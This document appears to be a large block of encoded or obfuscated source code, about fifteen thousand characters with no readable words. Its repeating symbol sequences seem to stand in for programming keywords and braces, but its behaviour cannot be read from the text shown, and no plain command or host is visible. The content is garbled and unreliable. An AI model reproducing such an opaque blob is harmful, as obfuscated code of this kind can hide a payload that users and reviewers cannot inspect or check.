UTUZLKMVQXVH`INEO^FN]EX
RXZN\X]L]UXLEFRTLZZP[K
OSWHU\SXQFGD5VY]]W	SFT[SO[QS
RXZN\X]L]UXLD5U^N[IM\THIWGNWR^EFMPG`SEK^RQOKKXU
VRXZN\X]L]UXL5VYU^N[IM\THIWGNWRQJSSIZMLVPQ`\PRO^MZU^N[IM\THIWGNWRHX]T^EKEHX	P^Q^	HYKMZKJMQY^SLZ5JQLZKU^N[IM\THIWGNWR5B5POKVR^SMZ\PM[S^FZM55555VYL]NY]EJ\QQ
ILGUVGORXZN\X]L]UXLKYRNPPYTJF^ZT
PQHOSWHU\SXQFGMZKJMQY^SLZ5NNKZM`SOUHJYLELIV\ZRXZN\X]L]UXL55ZUST[\KTSRXZN\X]L]UXL5S^YTFWKYW`^RXZN\X]L]UXLRUNS
^`Powo`r~upm`izmlvpq`MUZ^]QRUNS
^`P5B55B5VYVH`INEO^FN]EX
VXM][PQ]Y\L	]]W	SFT[SO[QS	VXM][PQ]Y\L	D5MNI]S
GE\\P[INN^OUHUIEF[INN^OUHUIEF]]W	SFT[SO[QS5GW^EHK\Z`LFUXZK`POKVPQVXM][PQ]Y\L	^MM^F5VYEFRTLZZP[K	GW^EHK\Z`LFUGW^EHK\Z`LFU^MM^F5VYVH`INEO^FN]EX	
MNI]S
GE\\PGW^EHK\Z`LFUKMJZD5GW^EHK\Z`LFUdbMNI]S
GE\\P555JO[^KZ`POKVPQVXM][PQ]Y\L	]]W	SFT[SO[QS		GW^EHK\Z`LFU5B5B5555MZKJMQKMJZ5555B5YJQ\KVPQ^EFMPG`SEK^RQOKKXU
VYS]Y^ERQVMP5D5[IYHYIJMEFRTLZZP[K	YS]Y^ERQVMPY^SLZQJSSG[G[5VY]]W	SFT[SO[QS	[IYHYIJMMZKJMQQJSS5VYVXM][PQ]Y\L	]]W	SFT[SO[QS[IYHYIJMIU
LRQ	YOMZKJMQIU
LRQ	YOdb5MZKJMQQJSS5B55YJQ\KVPQGZV`\ZHSHL[TYI\PSHEGZS^PRFFTKQMGR^IX\X5D5MZ\PQ\VSZJQVK^MFP]LZMIZM55\SZ^MLK^K\^\WZKMJZ\PSHEGZS^P555HQLNIIPVH`INEO^FN]EX\PSHEGZS^P5VYHQLNIIPCCHQLNIIPOMUGES	[	RUID5ho}JKKPQ}SP\T^\NJVMZM^[VGKMZZ55MZKJMQY^SLZ55B555WWRSSRFXKKZPEFRTLZZP[K\PSHEGZS^P5MZKJMQWWRSSRFXKKZPWWRSSRFXKKZPRFFTKQMGR^IX\X5B5YJQ\KVPQWZ
GPNTVQVHN5555D5MZKJMQ
5B5YJQ\KVPQEQHRENHMIZ5D5MZKJMQVH`INEO^FN]EX5B5YJQ\KVPQ^LLM`XV

EVTLN5D5MZKJMQVH`INEO^FN]EX5B5YJQ\KVPQS[RH
^XUNY]HG555D55VYVXM][PQ]Y\L	VXM][PQ]Y\L
MZKJMQKMJZ5VYVRNH	TSGM^U^H
TMZKJMQKMJZ5Y
JUNHFL\[IVLLZK`lzmizmd]]W	SFT[SO[QS	b VH`INEO^FN]EXLKMVQX`lzmizmdEFRTLZZP[Kb5VYY
JUNHFL\[I]]W	SFT[SO[QSY
JUNHFL\[IVH`INEO^FN]EXY^SLZCCVXM][PQ]Y\LY
JUNHFL\[IVXM][PQ]Y\LY^SLZCCVH`INEO^FN]EXY
JUNHFL\[IVXM][PQ]Y\LY^SLZMZKJMQKMJZ5VYY
JUNHFL\[IVXM][PQ]Y\LVH`INEO^FN]EXVLLZK`lzmizmdEFRTLZZP[K
bMZKJMQKMJZ5MZKJMQY^SLZ555B5YJQ\KVPQVRNH	TSGM^U^H
T5DJ]ME[owo`vqk`r~gowo`vqk`r~gGRPGIL\UV	J]ME[	5Y
JUNHFL\[IVLLZK`lzmizmdEFRTLZZP[Kb `lzmizmdVXM][PQ]Y\L	b55MZKJMQ]]W	SFT[SO[QS	Y
JUNHFL\[ILKMVOPLY
JUNHFL\[I]]W	SFT[SO[QSY^SLZ5B5YJQ\KVPQPMTVW]WLRWR`KWEQSGTU\Z5D5YXUNGVSIU`ORRSVH`INEO^FN]EX	]]W	SFT[SO[QS EFRTLZZP[KEFRTLZZP[KY^SLZ555VYYXUNGVSIU`ORRSCCYXUNGVSIU`ORRSMZKJMQKMJZ5]
R[\]P]E]]W	SFT[SO[QSQSGTU\Z5VY]
R[\]P]E]
R[\]P]EQSGTU\ZSHJEOQ`IIZZJNS^[GGLPSHJEOQ`II SHJEOQ`IISHJEOQ`II55YPMZ^\WVH`INEO^FN]EXo~kw`lzo~m~kpmYXUNGVSIU`ORRS^LMOTSTJ\LD5MOTSTJ\LVH`INEO^FN]EXMOTSTJ\L]]W	SFT[SO[QS5VYMOTSTJ\L]
R[\]P]EMOTSTJ\LCCVXM][PQ]Y\L]
R[\]P]EMOTSTJ\L{vmz|kpmf`lzo~m~kpmMZKJMQKMJZ5B5MZKJMQY^SLZ5B5YJQ\KVPQZ]IKQI]`EM\QOTG	O^LR55D5YGVLO]

`JMTQOTG	O^LRC[ZYVQZ[VH`INEO^FN]EX {}`q~rzC[ZYVQZ[]]W	SFT[SO[QS ~}lo~kw555MZKJMQVXM][PQ]Y\L
YGVLO]

`JMT555B5YJQ\KVPQ\RVUG[

	SYRQHQOTG	O^LR5D5XSP]^SHO[]5VYVLLZKxsp}~sldVH`INEO^FN]EX	bCCVH`INEO^FN]EX	xsp}~sld]]W	SFT[SO[QSbxsp}~sldVH`INEO^FN]EXb^MM^F5VYZROKFxsp}~sld]]W	SFT[SO[QSbdQOTG	O^LRbD5xsp}~sldEFRTLZZP[KbdQOTG	O^LRb5MZKJMQKMJZ55B5VYVXM][PQ]Y\LHO[]EFRTLZZP[KHO[]VH`INEO^FN]EXD5OUYP\PUYJ
	HO[]XZK`I^MVH`INEO^FN]EXZ]IKQI]`EM\QOTG	O^LREFRTLZZP[K5VYOUYP\PUYJ
	D5olmQ^RZLO^\ZLVQ\MZRZQK^SO^MKVKVPQMZYVQZRZQK55xsp}~sldEFRTLZZP[KbdQOTG	O^LRb5MZKJMQKMJZ5B555VYOUYP\PUYJ
	MZKJMQY^SLZ5B5VY]]W	SFT[SO[QS	]]W	SFT[SO[QSVH`INEO^FN]EX	]]W	SFT[SO[QSD5^[^OKVIZK^LTXM^OW5QHSS\`M^ZO]
SLW[VFRX	N^
]QHSS\`M^ZO]5TJWFHVF
J^MM^F5VYVH`INEO^FN]EX	VXM][PQ]Y\LTJWFHVF
Jdb]]W	SFT[SO[QS5VY[ZYVQZ[VH`INEO^FN]EX
TJWFHVF
Jdbho`|pqkzqk`{vm555VY[ZYVQZ[EFRTLZZP[KTJWFHVF
Jdb]]W	SFT[SO[QS~}lo~kw]]W	SFT[SO[QS	555YPMZ^\WTJWFHVF
J^LZMQZWP	SED5555VYZMQZWP	SECCVXM][PQ]Y\LZMQZWP	SECCVH`INEO^FN]EXZMQZWP	SE\PQKVQJZ5NZKLTOEY]]W	SFT[SO[QSZMQZWP	SE]]W	SFT[SO[QSZ]IKQI]`EM\QOTG	O^LRVXM][PQ]Y\L\5VYNZKLTOEYY^SLZD5VYYSP\TNZKLTOEYsp|t`zgCsp|t`q}D5RPQPKPQZ\PJQKRVQLTZK\W55Y\SPLZNZKLTOEY5MZKJMQY^SLZ5B5VYVLLZKxsp}~sldVXM][PQ]Y\LbCCVH`INEO^FN]EXxsp}~sldVH`INEO^FN]EXbxsp}~sld]]W	SFT[SO[QSb^MM^F5xsp}~sldVXM][PQ]Y\LbdQOTG	O^LRbNZKLTOEY5xsp}~sldEFRTLZZP[KbdQOTG	O^LRb5MZKJMQKMJZ5B5B5B5555MZKJMQY^SLZ5B5YJQ\KVPQX
LWR^P]VF\MQOTG	O^LR5D5XSP]^SHO[]5VYZROKFxsp}~sldEFRTLZZP[KbdQOTG	O^LRbMZKJMQ5555xsp}~sldVH`INEO^FN]EXbdQOTG	O^LRb55VYxsp}~sldVXM][PQ]Y\LbdQOTG	O^LRbMZKJMQ5JQLZKxsp}~sldEFRTLZZP[KbdQOTG	O^LRb5VYVLLZKxsp}~sldVXM][PQ]Y\LbdQOTG	O^LRbD5YSP\Txsp}~sldVXM][PQ]Y\L
bdQOTG	O^LRbsp|t`jq5Y\SPLZxsp}~sldVH`INEO^FN]EX	bdQOTG	O^LRb5JQLZKxsp}~sldVH`INEO^FN]EXbdQOTG	O^LRb5B55VYVXM][PQ]Y\LHO[]]]W	SFT[SO[QSHO[]VH`INEO^FN]EXD555HO[]NJZMF]]W	SFT[SO[QSZ]IKQI]`EM\QOTG	O^LRVH`INEO^FN]EX5B5RJSKV]FKZ^H^MZ55B5YJQ\KVPQ^XWIFV
QLQ[X5D55VY[ZYVQZ[VXM][PQ]Y\L{vl~ssph`yvsz`rp{lMZKJMQY^SLZ5MZKJMQKMJZ5B5YJQ\KVPQPTG]`[M\TJL[^FSJ`EENNWSKQO
]K`5D5KMFD5VYVQKZMY^\Z`ZGVLKLEFRTLZZP[KSKQO
]K`VQLK^Q\ZPYkWMPH^]SZD5RHIYQUW[ZJRLYLVH`INEO^FN]EX`EENNWVXM][PQ]Y\LSKQO
]K`XZKrZLL^XZ	5BZSLZVYSKQO
]K`VQLK^Q\ZPYzG\ZOKVPQD5RHIYQUW[ZJRLYLEFRTLZZP[K`EENNWEFRTLZZP[K
SKQO
]K`XZKrZLL^XZ5555BZSLZVYVXM][PQ]Y\L	SKQO
]K`VXM][PQ]Y\LSKQO
]K`D5RHIYQUW[ZJRLYLEFRTLZZP[K`EENNWEFRTLZZP[KSKQO
]K`	
5BZSLZD5MZKJMQ5B5SVYZ\F\SZWPPT55VYVLLZKxsp}~sldEFRTLZZP[Kbxsp}~sldVXM][PQ]Y\Lb^MM^F5VYVH`INEO^FN]EX	
RHIYQUW[ZJRLYLxsp}~sld]]W	SFT[SO[QSbKMJZD5xsp}~sldVH`INEO^FN]EXbdbRHIYQUW[ZJRLYL5B5VYVH`INEO^FN]EXxsp}~sldVXM][PQ]Y\Lb	D5xsp}~sld]]W	SFT[SO[QSbVXM][PQ]Y\Lxsp}~sld]]W	SFT[SO[QS
b5B5B\^K\WkWMPH^]SZU]^I[IQQON]TD5oZLKowoHZ]O\PQIZMLVPQ55B\^K\WzG\ZOKVPQU]^I[IQQON]TD5555B5B5YJQ\KVPQXFTSLI[EJIT][IYHYIJMISLYW[	`UENYS]Y^ERQVMP	RURMZLVT]XJI5D5VYVXM][PQ]Y\L	VXM][PQ]Y\L	MZKJMQY^SLZ5VYVXM][PQ]Y\LISLYW[	`UEND5MZKJMQ^[[`^\KVPQ[IYHYIJMYJQ\KVPQJTIPP
TYOI
MOJLZISLYW[	`UEND5VYVH`INEO^FN]EX	ISLYW[	`UENMZKJMQISLYW[	`UENJTIPP
TYOI
MO5MZKJMQQJSS5BYS]Y^ERQVMPRURMZLVT]XJI`[]INN`LIGowo`vqk`r~gowo`vqk`r~gZ]]ITSSW`[]INN`LIG5B5MZKJMQ^[[`^\KVPQ[IYHYIJMISLYW[	`UENYS]Y^ERQVMPRURMZLVT]XJI5B555YJQ\KVPQT[ZM`X
HZ[
X[IYHYIJMISLYW[	`UENYS]Y^ERQVMP	aRURMZLVT]XJI55D5VYVXM][PQ]Y\L	]]W	SFT[SO[QSMZKJMQY^SLZ5VYVH`INEO^FN]EXISLYW[	`UEND555MZKJMQ^[[`YVSKZM[IYHYIJMYJQ\KVPQJTIPP
TYOI
MOJLZISLYW[	`UEND555VYEFRTLZZP[KISLYW[	`UENMZKJMQISLYW[	`UENJTIPP
TYOI
MO5MZKJMQVLLZKJTIPP
TYOI
MOdb JTIPP
TYOI
MOdbQJSS5BYS]Y^ERQVMPRURMZLVT]XJITIUXI	XH^MUGG\[HLZOGKTIUXI	XH^MU5B5MZKJMQ^[[`YVSKZM[IYHYIJMISLYW[	`UENYS]Y^ERQVMPRURMZLVT]XJI55B5YJQ\KVPQHRKKYPFNI]Q]XV5D5MOTSTJ\L[ZYVQZ[]]W	SFT[SO[QS ho`|pqkzqk`{vm]]W	SFT[SO[QSPLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS
EFRTLZZP[KM	L]ZERI]]W	SFT[SO[QS5VYEFRTLZZP[KMOTSTJ\LPMTVW]WLRWR`KWEMOTSTJ\LD555`QGTGLSFXUY^^[MOTSTJ\LGG\
KMJZ5VYVH`INEO^FN]EXMOTSTJ\LD5KU[]NNG]VQJP^MOTSTJ\LVH`INEO^FN]EX OWOlVSZQ\ZVLXPS[ZQcQ]]W	SFT[SO[QS
5B5B5VYEFRTLZZP[KMOTSTJ\L]]W	SFT[SO[QS
MOTSTJ\LD5O^\TZ[S^FPJK55MZKJMQMOTSTJ\L5B5\PSSZ\K[^K^YSPHXM^OWYPMhoxSP]^SlKFSZL55\	X]ZUHM^PEFRTLZZP[KM	L]ZERI]]W	SFT[SO[QS5VYEFRTLZZP[K	\	X]ZUHM^PPMTVW]WLRWR`KWE\	X]ZUHM^P`QGTGLSFXUY^^[\	X]ZUHM^P		KMJZ55VYVH`INEO^FN]EX	\	X]ZUHM^P]]W	SFT[SO[QS
\	X]ZUHM^PMZKJMQ\	X]ZUHM^P5UPQN[LZYOLOVNQNVH`INEO^FN]EXM	L]ZERI555VYVH`INEO^FN]EX
UPQN[LZYOLOVNQNUPQN[LZYOLOVNQNJ`\^PQZPIIFTLPWKQMZKJMQUPQN[LZYOLOVNQN5VY[ZYVQZ[]]W	SFT[SO[QSEFRTLZZP[Kho`|pqkzqk`{vmPMTVW]WLRWR`KWEho`|pqkzqk`{vmMZKJMQho`|pqkzqk`{vm5MZKJMQMOTSTJ\L5B5YJQ\KVPQJF[NGLJR[\IKJY^5D5VY[ZYVQZ[EFRTLZZP[KEFRTLZZP[Kho`|pqkzqk`{vmPMTVW]WLRWR`KWEho`|pqkzqk`{vmMZKJMQho`|pqkzqk`{vm5[]]EHSVH`INEO^FN]EXM	L]ZERI5VYPMTVW]WLRWR`KWE[]]EHSMZKJMQ[]]EHS5MZKJMQho`|pqkzqk`{vm5B55YJQ\KVPQERZ[YU	]IK\ERXH
QSGTU\Z5D55VYZROKFxsp}~sldVXM][PQ]Y\LbCCVH`INEO^FN]EX
xsp}~sldVXM][PQ]Y\L
bMZKJMQY^SLZ5VYVLLZKxsp}~sld]]W	SFT[SO[QS
bdQSGTU\ZbMZKJMQKMJZ5]
R[\]P]EEFRTLZZP[K]]W	SFT[SO[QS
 VXM][PQ]Y\L
QSGTU\ZY^SLZ5MZKJMQ]
R[\]P]EY^SLZVLLZKxsp}~sld]]W	SFT[SO[QS
bd]
R[\]P]Eb5555B5555YJQ\KVPQE	EHGJ`IIWL[VO[]YEQSGTU\Z5D5^[^OKVIZ\PRR^Q[5]YRQT	QXSQOQKKMTFF[XXELWJ]YRQT	QXSQOQK5VYZROKFxsp}~sldVXM][PQ]Y\L
bCCVH`INEO^FN]EX
xsp}~sldVH`INEO^FN]EX
bMZKJMQ555JQLZKxsp}~sldVH`INEO^FN]EX
bdQSGTU\Zb5555]
R[\]P]EVH`INEO^FN]EXEFRTLZZP[K
 ]]W	SFT[SO[QS
QSGTU\ZY^SLZ5VY]
R[\]P]EY^SLZJQLZKxsp}~sld]]W	SFT[SO[QS

bd]
R[\]P]Eb5B5555YJQ\KVPQ[E`VP
FSGYLX^VQSGTU\Z5D5VYVLLZKxsp}~sldVH`INEO^FN]EX

bCCVXM][PQ]Y\L
xsp}~sldEFRTLZZP[K
	bD5xsp}~sldVXM][PQ]Y\L
	b^MM^F5B55XMGYFU^
^QIUEFRTLZZP[KVH`INEO^FN]EX
 EFRTLZZP[K
QSGTU\ZY^SLZ555xsp}~sldEFRTLZZP[K
	bdXMGYFU^
^QIUY^SLZ XMGYFU^
^QIUQSGTU\ZbQSGTU\Z555LK^KV\PS\KRY^SLZ5VYPS\KRD555PS\KRKMJZ5VYEFRTLZZP[K
EFRTLZZP[K
VXM][PQ]Y\L
EFRTLZZP[K	555B55B5555YJQ\KVPQ^PZI[`
`WTS5D5VYZROKFxsp}~sldVXM][PQ]Y\L	bCCEFRTLZZP[K	xsp}~sldEFRTLZZP[K	bD5MZKJMQ555B5YPMZ^\Wxsp}~sld]]W	SFT[SO[QS	b^LTE[`	\
`HS\UKUP	R`YZD5VYVH`INEO^FN]EXS\UKUP	R`YZS\UKUP	R`YZTE[`	\
`H555VYTE[`	\
`HM	L]ZERICCS\UKUP	R`YZM	L]ZERI\PQKVQJZ555KMFD5VYVH`INEO^FN]EX
S\UKUP	R`YZD5VYVH`INEO^FN]EX
]]W	SFT[SO[QS	NNKZM`SOUHJYLELIV\ZS\UKUP	R`YZG
G[5555VYEFRTLZZP[K
VH`INEO^FN]EXVFSMLJMN\IFZNQS\UKUP	R`YZVH`INEO^FN]EX
VXM][PQ]Y\L	
PO\^\WZ`VQI^SV[^KZS\UKUP	R`YZKMJZ5555B5B\^K\WkWMPH^]SZSKQO
]K`D5B\^K\WzG\ZOKVPQSKQO
]K`D5hooPLK{^KZVQ[Z\PROPL^]SZRZ[V^KPM55B5B5B5YJQ\KVPQ^GKQK]HJYME[LWP5555D5555KMFD5SKQO
]K`]]W	SFT[SO[QS		EFRTLZZP[K	 ZMMPM`XZK`S^LKQJSS5VYVH`INEO^FN]EX	SKQO
]K`CCZROKFSKQO
]K`dVXM][PQ]Y\L	bCCZROKFSKQO
]K`dVXM][PQ]Y\LbMZKJMQ5VYEFRTLZZP[K	
SKQO
]K`dVXM][PQ]Y\Lb^MM^Fz`zmmpmz`o~mlzz`|pmz`zmmpmz`|provsz`zmmpmz`jlzm`zmmpmKMJZMZKJMQ5IU
LRQ	YOVLLZKSKQO
]K`d]]W	SFT[SO[QSb LKMVQXSKQO
]K`dVXM][PQ]Y\Lb5VYLKMVOPLIU
LRQ	YOEFRTLZZP[KY^SLZCCLKMVOPLIU
LRQ	YOVH`INEO^FN]EXY^SLZMZKJMQ55EUZYUEL	]
IZSVVH`INEO^FN]EX		VH`INEO^FN]EX
 VXM][PQ]Y\L
M	L]ZERIM	L]ZERI5`ZYEFRTLZZP[K		EFRTLZZP[K	 EFRTLZZP[KSKQO
]K`dVH`INEO^FN]EX	bSKQO
]K`dVXM][PQ]Y\L	bUFUS[H\VJTML[owo`r~upm`izmlvpqKONIE`ZYPTIUFUS[H\VJTML[555VYEFRTLZZP[KEUZYUEL	]
IZSVCCEFRTLZZP[K`ZYCC`ZYEUZYUEL	]
IZSVMZKJMQ555VYVLLZKxsp}~sldVXM][PQ]Y\LbD5UTISFU]]W	SFT[SO[QS	M	L]ZERIY^SLZQJSS5VYVXM][PQ]Y\LUTISFUVH`INEO^FN]EX	VXM][PQ]Y\LUTISFU`[R`[RdbLKMVQXxsp}~sld]]W	SFT[SO[QSbMZKJMQ5JQLZKUTISFU`[R5VYVLLZKxsp}~sldVXM][PQ]Y\LbD5POZQOW^QKPR55VYVXM][PQ]Y\L		EFRTLZZP[K\SZ^MLK^K\^\WZKMJZM	L]ZERI55XFUNNGZPK^LPQLKMVQXVXM][PQ]Y\LM	L]ZERILKMVQXVXM][PQ]Y\LM	L]ZERI5VYXFUNNGZPK^LPQLKMVQXxsp}~sldVXM][PQ]Y\LbMZKJMQ5JQLZKXFUNNGZPK^LPQ555B5B5[INN^OUHUIEFEFRTLZZP[KM	L]ZERI]]W	SFT[SO[QS55UF\HNQ[TN`WP]]W	SFT[SO[QS
UH`VLVJVW
UTUZLKMVQXVXM][PQ]Y\L	M	L]ZERI5KU[]NNG]VQJP^VXM][PQ]Y\LM	L]ZERIVH`INEO^FN]EX[INN^OUHUIEFUF\HNQ[TN`WPN5VYUF\HNQ[TN`WPD5KU[]NNG]VQJP^]]W	SFT[SO[QSM	L]ZERI]]W	SFT[SO[QS
UF\HNQ[TN`WPLKMVQXEFRTLZZP[K	N5VYEFRTLZZP[KVH`INEO^FN]EXD5JO[^KZ`POKVPQVH`INEO^FN]EXUF\HNQ[TN`WPC]]W	SFT[SO[QSVXM][PQ]Y\L5B5B5EZXTSIH]VFJ`\^PQZPIIFTLPWKQ5VYEZXTSIH]VF]]W	SFT[SO[QSM	L]ZERIEFRTLZZP[K	EZXTSIH]VF]]W	SFT[SO[QSEZXTSIH]VFD5555KU[]NNG]VQJP^EZXTSIH]VFVXM][PQ]Y\L[INN^OUHUIEFUF\HNQ[TN`WPN5B5VYVXM][PQ]Y\L]]W	SFT[SO[QS	VH`INEO^FN]EXVH`INEO^FN]EXD555[^]IMOQLKXZK`POKVPQVH`INEO^FN]EX^MM^F5VY]]W	SFT[SO[QS	[^]IMOQLK]]W	SFT[SO[QS
NHWM
	E]	YE^M[^]IMOQLKKMJZD5JO[^KZ`POKVPQVXM][PQ]Y\LEFRTLZZP[K		EFRTLZZP[K	[^]IMOQLK^MM^FNHWM
	E]	YE^M5B5B5Q	
OIM^H]XFX^SVH`INEO^FN]EX5TQ	YOZTI`UM	L]ZERIVH`INEO^FN]EX5VYEFRTLZZP[KVXM][PQ]Y\LEFRTLZZP[KM	L]ZERITQ	YOZTI`U5VYEFRTLZZP[KEFRTLZZP[KD55PO\^\WZ`VQI^SV[^KZM	L]ZERIKMJZ555PO\^\WZ`VQI^SV[^KZTQ	YOZTI`UKMJZ555B5555YPMZ^\W^MM^FVXM][PQ]Y\LTQ	YOZTI`UJ`\^PQZPIIFTLPWKQ^LKXU[PG	SYD555NQIQZPIT
JLJWQ
ZWLW^LNTJKXU[PG	SY5555VYEFRTLZZP[K	NQIQZPIT
\PQKVQJZL
\\MT
	
HXV	P`EOL
\\MT
	 L
\\MT
	L
\\MT
	5YPMZ^\WNQIQZPIT
^LI^UOVNQH^SUD5VYEFRTLZZP[KI^UOVNQH^SU
]]W	SFT[SO[QS\PQKVQJZ5JU[VMNQYEWQ	KXU[PG	SYI^UOVNQH^SU5NWEG[TUSVRR^^]]W	SFT[SO[QSJU[VMNQYEWQ	5VYNWEG[TUSVRR^^NWEG[TUSVRR^^]]W	SFT[SO[QS		D5^KPRK^]SZ55NNKZM`SOUHJYLELIV\ZJU[VMNQYEWQ	5555VFSMLJMN\IFZNQJU[VMNQYEWQ	5B5B5B555JQLZKKXU[PG	SYNQIQZPIT
I^UOVNQH^SUJU[VMNQYEWQ	NWEG[TUSVRR^^5B\^K\WkWMPH^]SZU]^I[IQQON]TD5B\^K\WzG\ZOKVPQU]^I[IQQON]TD5B5B5YJQ\KVPQPHLXR^WQHTQSGTU\ZV]Z		HIRM	5D5KMFD5VY]]W	SFT[SO[QSQSGTU\ZCCQSGTU\ZCCEFRTLZZP[KV]Z		HIRM	CCV]Z		HIRM	MZKJMQ5MOTSTJ\L]]W	SFT[SO[QSQSGTU\Z5VY]]W	SFT[SO[QS
MOTSTJ\LCC]]W	SFT[SO[QSMOTSTJ\LMZKJMQ5O`
ZTNRSGMLMMOTSTJ\LVH`INEO^FN]EX	VXM][PQ]Y\LQSGTU\ZVH`INEO^FN]EX5NN	JJY`TVXM][PQ]Y\LO`
ZTNRSGMLM5VYVXM][PQ]Y\LNN	JJY`TEFRTLZZP[K	VXM][PQ]Y\LNN	JJY`TIU
LRQ	YOIZMLVPQ`\PRO^MZIU
LRQ	YOdbV]Z		HIRM	VH`INEO^FN]EXMZKJMQ5VYEFRTLZZP[KVXM][PQ]Y\LVXM][PQ]Y\LO`
ZTNRSGMLMV]Z		HIRM	5B\^K\WkWMPH^]SZSKQO
]K`D555B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5YJQ\KVPQU][NH\EQ	ONX^5D5KMFD5VYVH`INEO^FN]EXVH`INEO^FN]EX	D5olmQ^RZLO^\ZLYPQKY^\Z55MZKJMQ5B5VYXZK`POKVPQ]]W	SFT[SO[QSDKMOUU	YI^NTW
	C	[JSX\\KMOUU	YI^NTW
a55XFTSLI[EJIT]VXM][PQ]Y\L
VXM][PQ]Y\L	5B5VY\RVUG[

	SYRQHVXM][PQ]Y\LMZKJMQ55NLHJ
V]\SHEFRTLZZP[K]]W	SFT[SO[QS~}lo~kwLKMVQXOMUGES	[	RUIG
G555KEM^
MVLKMVQXXZK`POKVPQNLHJ
V]\SH5FPL^T]UUS\VXM][PQ]Y\L5IIIE	MO
`HT55555ZYG[`VXY	LMLKMMZIVTLW
XJG
JFGVSN\F5E`S
ELWNG[HX]T^EKEHX	P^Q^	HYK5ZGYWU
	OVTE`S
ELWNG[CZYG[`VXY	LM55VYVH`INEO^FN]EXKEM^
MVCY^SLZD555U^
^RZU	EJ\]TEFRTLZZP[KCKEM^
MV5FPL^T]UUS\U^
^RZU	EJ\]Tdb5IIIE	MO
`HTU^
^RZU	EJ\]Tdb5BZSLZD55IIIE	MO
`HTKEM^
MV5B55VYIIIE	MO
`HTD5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
	OVTVH`INEO^FN]EX5MZKJMQ555B55555VYIIIE	MO
`HTZYG[`VXY	LMD5VYKEM^
MVZGYWU
	OVTIZMLVPQ`\PRO^MZE`S
ELWNG[FPL^T]UUS\EFRTLZZP[KD5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
	OVTEFRTLZZP[K5B5MZKJMQ5B55QX
]H	WREXVVLKMMZIIIIE	MO
`HT5VYQX
]H	WREXVVCCVH`INEO^FN]EXQX
]H	WREXVVQX
]H	WREXVVD5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
	OVTEFRTLZZP[K5MZKJMQ5B5IE\Q]^[OUXZJ`\^PQZPIIFTLPWKQQX
]H	WREXVV555N	OWX[PFG
^VXKG5VY[ZYVQZ[VXM][PQ]Y\L	D5N	OWX[PFG
^VXKGho`osjxvq`{vmVXM][PQ]Y\LQX
]H	WREXVVo~kwvqyp`yvszq~rzQX
]H	WREXVV5B55555RIIGJ^WIQTRKGVH`INEO^FN]EXIE\Q]^[OUXZ5]JHFYE`\[FRIIGJ^WIQTRKGY^SLZRIIGJ^WIQTRKGG	]G[5555ZN^GYK]ZQUN	OWX[PFG
^VXKG VXM][PQ]Y\LN	OWX[PFG
^VXKGY^SLZ5[TL`YTU^ZN^GYK]ZQUY^SLZZN^GYK]ZQU	55VY]JHFYE`\[F[TL`YTU^D5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
	OVTVXM][PQ]Y\L5MZKJMQRQWFOTY`Yowo`r~upm`izmlvpqNY
RMIVGV]FTWRQWFOTY`Y5B55KOIR[ZLWRUSY]JHFYE`\[F IE\Q]^[OUXZN	OWX[PFG
^VXKG5\ZSIO[]]W	SFT[SO[QSKOIR[ZLWRUSYY^SLZQJSS	555VYVXM][PQ]Y\L\ZSIO[VXM][PQ]Y\L]]W	SFT[SO[QS
\ZSIO[`YRD5FPL^T]UUS\`YRdb5BZSLZVYGZV`\ZHSHL[TYIKOIR[ZLWRUSY	
	
	D55FPL^T]UUS\VXM][PQ]Y\L55B5JQLZK\ZSIO[`YR5``SFMZ`WVHP]JHFYE`\[F55VY``SFMZ`WVHP[TL`YTU^D5]GK]E
VH`INEO^FN]EXQX
]H	WREXVVo~kwvqyp`yvszq~rzQX
]H	WREXVV5VFEMXQ	L[UR^MM^FXZK`POKVPQVXM][PQ]Y\L	^MM^F5``SFMZ`WVHPVH`INEO^FN]EX
]GK]E
VFEMXQ	L[URKMJZ5VY``SFMZ`WVHPVXM][PQ]Y\LVXM][PQ]Y\LVL`RJSKVLVKZ]]W	SFT[SO[QSEFRTLZZP[KD5YIUX[	V^O^MM^FXZK`LVKZ`POKVPQ]]W	SFT[SO[QS^MM^F5``SFMZ`WVHPVLLZKYIUX[	V^Od]GK]E
b5555JQLZKYIUX[	V^O555B5JQLZK]GK]E
VFEMXQ	L[UR555B55TGWM^LEZQWFIZMLVPQ`\PRO^MZE`S
ELWNG[FPL^T]UUS\55VYTGWM^LEZQWFD555SVLQO[IX`GZV`\ZHSHL[TYIKOIR[ZLWRUSY5PI^^U`QZ\Z\VQKVXM][PQ]Y\LKOIR[ZLWRUSY5^^S^TZTPGSVLQO[IX`CCPI^^U`QZ\Z\

5VY^^S^TZTPGPI^^U`QZ\Z\GZYG[[D5QVSOPKZQKOVOZSVQZ55YZMWYFHJ]]W	SFT[SO[QSKOIR[ZLWRUSYY^SLZQJSS	5VYVH`INEO^FN]EXYZMWYFHJCCEFRTLZZP[KVH`INEO^FN]EXYZMWYFHJ^^S^TZTPGKMJZ555B555VY^^S^TZTPGQI
\EJ
PH\WGMKOIR[ZLWRUSY^^S^TZTPGKMJZ5VY^^S^TZTPGD5ZMWO	EWREPKSG\LW^XG]H	5VYZROKFZMWO	EWREPdVH`INEO^FN]EXbD5olm
RV[[SZH^MZZGOPQZQKV^S]^\TSPX55QS]LP^KSGY]]W	SFT[SO[QS
ZMWO	EWREPdVXM][PQ]Y\Lb5MWXWJZ
U^VH`INEO^FN]EX
KOIR[ZLWRUSY5VYEFRTLZZP[KQS]LP^KSGYVH`INEO^FN]EXMWXWJZ
U^QS]LP^KSGYMWXWJZ
U^D5H`^RQ]
FQMLMZWRV\JO\\Z\^IQJYGZMWO	EWREP5VYH`^RQ]
FQMLMZWRVVXM][PQ]Y\L	CCH`^RQ]
FQMLMZWRVVH`INEO^FN]EX^^S^TZTPGKMJZ5B5JQLZKQS]LP^KSGYMWXWJZ
U^H`^RQ]
FQMLMZWRV5B5[ZYM^XRZQK\PQLKM^VQKLZKYPMhoxMPJO}SP\T55VY^^S^TZTPGIUQRNHXNPY
MQKOIR[ZLWRUSY^^S^TZTPGKMJZ5JQLZKZMWO	EWREP5B5VY^^S^TZTPGD5VYSVLQO[IX`[E`VP
FSGYLX^VKOIR[ZLWRUSY5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
	OVTEFRTLZZP[K5MZKJMQ5B5VY``SFMZ`WVHPD5JO[^KZ`POKVPQNLHJ
V]\SHZGYWU
